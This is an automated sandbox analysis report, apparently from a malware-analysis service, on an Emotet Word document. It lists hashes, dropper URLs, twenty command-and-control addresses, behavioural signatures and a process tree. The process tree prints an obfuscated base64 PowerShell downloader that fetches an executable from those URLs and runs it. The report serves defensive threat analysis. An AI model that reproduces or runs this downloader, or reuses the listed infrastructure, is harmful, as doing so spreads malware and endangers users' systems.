Analysis

  • max time kernel
    140s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    18/08/2020, 09:35

General

  • Target
    emotet_e2_37210ef6358c6fcdb6ac65bc3f7fd336ceea5e697411155cbed2d30789e7c161_2020-08-18__093330._doc.doc
  • Size 174KB
  • Sample200818-e84xqsz7cn
  • SHA256 37210ef6358c6fcdb6ac65bc3f7fd336ceea5e697411155cbed2d30789e7c161
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://52550750-56-20180826151453.webstarterz.com/savewayexpressthai.com/jnze_2o3j_k/

  • exe.dropper

    http://oubaina.com/wp-includes/lqkz_nvr_1avf4/

  • exe.dropper

    https://www.msbc.kz/data/k527_5_cbdvv5bi19/

  • exe.dropper

    http://okcupidating.com/im/fsq_esj_qgx060p/

  • exe.dropper

    http://bike-nomad.com/cgi-bin/7n_0x0_62mnzyh9q/

Extracted

Family
  • emotet

C2
  • 68.44.137.144:443

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 79.98.24.39:8080

  • 5.196.74.210:8080

  • 188.83.220.2:443

  • 109.116.214.124:443

  • 203.117.253.142:80

  • 104.131.11.150:443

  • 97.82.79.83:80

  • 121.124.124.40:7080

  • 83.169.36.251:8080

  • 89.186.91.200:443

  • 70.167.215.250:8080

  • 204.197.146.48:80

  • 167.86.90.214:8080

  • 190.160.53.126:80

  • 95.213.236.64:8080

  • 47.144.21.12:443

  • 169.239.182.217:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_37210ef6358c6fcdb6ac65bc3f7fd336ceea5e697411155cbed2d30789e7c161_2020-08-18__093330._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3740
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABPAGcAbwB1AF8ANQAxAD0AKAAnAFEAdAA3ACcAKwAnADEAJwArACcAdABsADUAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBwAFwATwBGAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQByAGkAVAB5AGAAUAByAE8AVABgAE8AQwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIAJwArACcALAAgACcAKwAnAHQAbABzACcAKwAnADEAMQAsACAAdABsAHMAJwApADsAJABRAGEAawBmAG8AMABxACAAPQAgACgAJwBaADAAJwArACcAZgB2ADMAawBiAGcAJwApADsAJABCAHIAdgAzADUAcgBzAD0AKAAnAEUANgBoACcAKwAnADQAJwArACcAbgBrAG4AJwApADsAJABFAGMAOQB3ADQAZQAwAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBOACcAKwAnADMAcABPACcAKwAnAGYAZgBpAGMAZQAyADAAMQA5AE4AMwAnACsAJwBwACcAKQAuACIAcgBlAGAAUABsAGAAQQBjAEUAIgAoACcATgAzAHAAJwAsAFsAcwBUAHIAaQBOAGcAXQBbAEMASABhAFIAXQA5ADIAKQApACsAJABRAGEAawBmAG8AMABxACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABaAF8AagBqAGkAMwBtAD0AKAAnAE8AZwBwADUAJwArACcANwB3ACcAKwAnAGoAJwApADsAJABZADcAagBtAHgAegA4AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABJAG4AbgBlAHcAYwBfAD0AKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8ANQAnACsAJwAyACcAKwAnADUAJwArACcANQAnACsAJwAwACcAKwAnADcANQAwAC0ANQAnACsAJwA2ACcAKwAnAC0AMgAwADEAOAAwADgAMgAnACsAJwA2ADEANQAxACcAKwAnADQANQAnACsAJwAzACcAKwAnAC4AdwBlACcAKwAnAGIAcwB0AGEAcgB0AGUAJwArACcAcgB6ACcAKwAnAC4AYwAnACsAJwBvAG0ALwBzAGEAJwArACcAdgAnACsAJwBlAHcAYQB5AGUAeABwAHIAZQBzAHMAdABoAGEAaQAnACsAJwAuACcAKwAnAGMAbwBtAC8AagAnACsAJwBuACcAKwAnAHoAZQBfADIAbwAnACsAJwAzAGoAXwBrAC8AKgBoAHQAdAAnACsAJwBwADoALwAvAG8AdQBiAGEAaQBuAGEALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAJwAtAGkAJwArACcAbgBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvAGwAcQBrAHoAXwBuACcAKwAnAHYAcgBfACcAKwAnADEAYQAnACsAJwB2AGYANAAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAHcAdwB3AC4AbQBzAGIAYwAnACsAJwAuAGsAegAnACsAJwAvAGQAYQB0AGEALwBrACcAKwAnADUAJwArACcAMgA3AF8ANQAnACsAJwBfAGMAYgAnACsAJwBkAHYAdgA1AGIAaQAxADkALwAqAGgAdAB0AHAAOgAvAC8AbwAnACsAJwBrACcAKwAnAGMAJwArACcAdQAnACsAJwBwAGkAJwArACcAZABhAHQAaQBuAGcALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAnAGkAbQAvACcAKwAnAGYAcwBxACcAKwAnAF8AZQAnACsAJwBzACcAKwAnAGoAJwArACcAXwAnACsAJwBxACcAKwAnAGcAJwArACcAeAAwADYAJwArACcAMABwAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAGIAJwArACcAaQBrAGUALQBuAG8AbQAnACsAJwBhAGQALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgAnACsAJwBpACcAKwAnAG4ALwA3AG4AXwAwACcAKwAnAHgAJwArACcAMABfADYAMgBtACcAKwAnAG4AegAnACsAJwB5ACcAKwAnAGgAJwArACcAOQAnACsAJwBxAC8AJwApAC4AIgBzAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAZQA4AG4AZQBnADQAPQAoACcASwAnACsAJwB5ACcAKwAnAG0AcgB3ADkAdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABNAHMAdQBvAG4AaAA4ACAAaQBuACAAJABJAG4AbgBlAHcAYwBfACkAewB0AHIAeQB7ACQAWQA3AGoAbQB4AHoAOAAuACIARABvAFcAYABOAEwAbwBBAGQAYABGAGkAYABMAEUAIgAoACQATQBzAHUAbwBuAGgAOAAsACAAJABFAGMAOQB3ADQAZQAwACkAOwAkAFUAaQAzAGwANAA5AGcAPQAoACcARABvACcAKwAnAGgAeABiACcAKwAnAHoAZwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQARQBjADkAdwA0AGUAMAApAC4AIgBsAEUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAMQA0ADUAMQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABFAGMAOQB3ADQAZQAwACkAOwAkAEMAdwBpAG8AXwBoADUAPQAoACcARQAnACsAJwA2AHYAcAA3AHYAdwAnACkAOwBiAHIAZQBhAGsAOwAkAFQAYQB5ADUAMABsAGsAPQAoACcAUABoADEAMABnACcAKwAnAGIAMQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANwB0AG0AbgBrADQAPQAoACcAWQBlAHcAYwB3ACcAKwAnADgAJwArACcAawAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4004
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Z0fv3kbg.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Z0fv3kbg.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2396
      • C:\Windows\SysWOW64\ntlanui2\wmvdspa.exe
        "C:\Windows\SysWOW64\ntlanui2\wmvdspa.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3116

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2396-13-0x00000000021D0000-0x00000000021DC000-memory.dmp

        memory/3116-16-0x0000000002110000-0x000000000211C000-memory.dmp

        memory/3740-0-0x00007FFA6BCC0000-0x00007FFA6C386000-memory.dmp

        memory/4004-7-0x00007FFA64270000-0x00007FFA64C5C000-memory.dmp

        memory/4004-8-0x000001D5D6B90000-0x000001D5D6B91000-memory.dmp

        memory/4004-9-0x000001D5EF2E0000-0x000001D5EF2E1000-memory.dmp